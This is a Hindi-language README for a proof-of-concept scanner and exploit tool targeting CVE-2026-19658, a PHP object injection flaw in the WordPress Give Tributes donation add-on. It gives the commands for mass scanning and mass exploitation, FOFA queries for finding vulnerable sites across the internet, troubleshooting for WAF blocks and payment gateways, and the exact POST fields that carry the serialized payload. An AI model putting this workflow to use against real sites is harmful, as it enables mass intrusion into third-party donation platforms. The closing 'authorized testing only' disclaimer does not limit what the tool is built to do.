CVE-2026-19658 — Give Tributes अनधिकृत PHP ऑब्जेक्ट इंजेक्शन

Python 3 प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर और डोनेशन-चेन एक्सप्लॉइट हेल्पर CVE-2026-19658 के लिए, WordPress ऐड-ऑन Give - Tributes (Liquid Web / GiveWP) में।

सारांश

जब eCards के लिए Allow Multiple Recipients सक्षम हो और eCard custom message अक्षम हो (डिफ़ॉल्ट), तो कमजोर संस्करण डोनेशन मेटा में कच्चा $_POST eCard प्राप्तकर्ता डेटा संग्रहीत करते हैं। GiveWP फ़ील्ड सत्यापन $_POST की एक give_clean() प्रति का उपयोग करता है (सीरियलाइज़्ड स्ट्रिंग्स वहाँ खाली कर दी जाती हैं), लेकिन insert_tribute_data() असैनिटाइज़्ड $_POST पढ़ता है, इसलिए दूसरे प्राप्तकर्ता के first_name / last_name में एक PHP सीरियलाइज़्ड ऑब्जेक्ट हो सकता है।

प्रभाव: अकेले Give Tributes के भीतर कोई ज्ञात POP चेन नहीं। मेटा को पढ़ते समय डीसीरियलाइज़ किया जाता है (जैसे admin eCard preview/resend)। RCE या विनाशकारी प्रभाव के लिए किसी अन्य इंस्टॉल किए गए प्लगइन या थीम से गैजेट चेन की आवश्यकता होती है।

सर्वर-साइड पूर्वापेक्षाएँ

1. Give Tributes ≤ 2.3.1
2. Allow Multiple Recipients सक्षम (ग्लोबल या प्रति-फ़ॉर्म)
3. eCard Custom Message अक्षम (डिफ़ॉल्ट)
4. सार्वजनिक लेगेसी Give फ़ॉर्म ([give_form] / v2), न कि केवल v3 Visual Form Builder
5. एक पेमेंट गेटवे जो आपके परीक्षण में डोनेशन पूरा कर सके (अक्सर dev/staging पर manual)

आवश्यकताएँ

• Python 3.8+
• pip install -r requirements.txt

त्वरित शुरुआत

pip install -r requirements.txt

# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → लक्ष्य सूची

उदाहरण:

body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

होस्ट सूची (प्रति पंक्ति एक डोमेन):

python poc.py --list my_hosts.txt --mode check --threads 20 --flow

FOFA CSV निर्यात:

python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

CLI विकल्प

एक्सप्लॉइट रन पर --vuln-list exploited.txt का उपयोग करें ताकि hits.txt में चेक हिट्स अधिलेखित न हों।

आउटपुट फ़ाइलें

चेक status मान

रिमोट स्कैन विश्वसनीय रूप से "Allow Multiple Recipients" नहीं देख सकता; कैंडिडेट्स एक्सप्लॉइट के समय विफल हो सकते हैं।

एक्सप्लॉइट नोट्स

• PoC दो eCard प्राप्तकर्ता भेजता है; पेलोड दूसरा first_name फ़ील्ड है।
• manual गेटवे अक्सर प्रोडक्शन में अक्षम होता है — फ़ॉर्म पर दिखने वाले गेटवे आज़माएँ (stripe, paypal, test, …)।
• सफलता के लिए Give रसीद मार्कर आवश्यक हैं ("thank you" वाली सामान्य पेज कॉपी नहीं)। फ़ॉर्म अभी भी मौजूद रहते हुए वही URL सफलता नहीं गिना जाता।
• give validation rejected donation: tribute/notify विकल्प, राशि, या गेटवे बेमेल।
• HTTP 403: WAF (Sucuri, MalCare, आदि) POST को ब्लॉक कर रहा है।
• केवल v3 फ़ॉर्म: लेगेसी फ़ॉर्म URL का उपयोग करें या छोड़ दें (प्रोसेसर लेगेसी एंडपॉइंट पर v3 ID अस्वीकार करता है)।

POST आकार (लेगेसी फ़ॉर्म)

give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

रिपॉज़िटरी लेआउट

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

स्थानीय स्कैन सूचियाँ और रन आर्टिफ़ैक्ट्स (list.txt, fofa*.csv, *.jsonl, hits.txt, …) .gitignore में हैं और इन्हें कमिट नहीं किया जाना चाहिए।

संदर्भ

• NVD — CVE-2026-19658
• Give Tributes readme (fix note 2.3.1.1)
• GiveWP plugin

कानूनी

केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। लागू कानूनों और कार्यक्रम नियमों के अनुपालन की जिम्मेदारी आपकी है।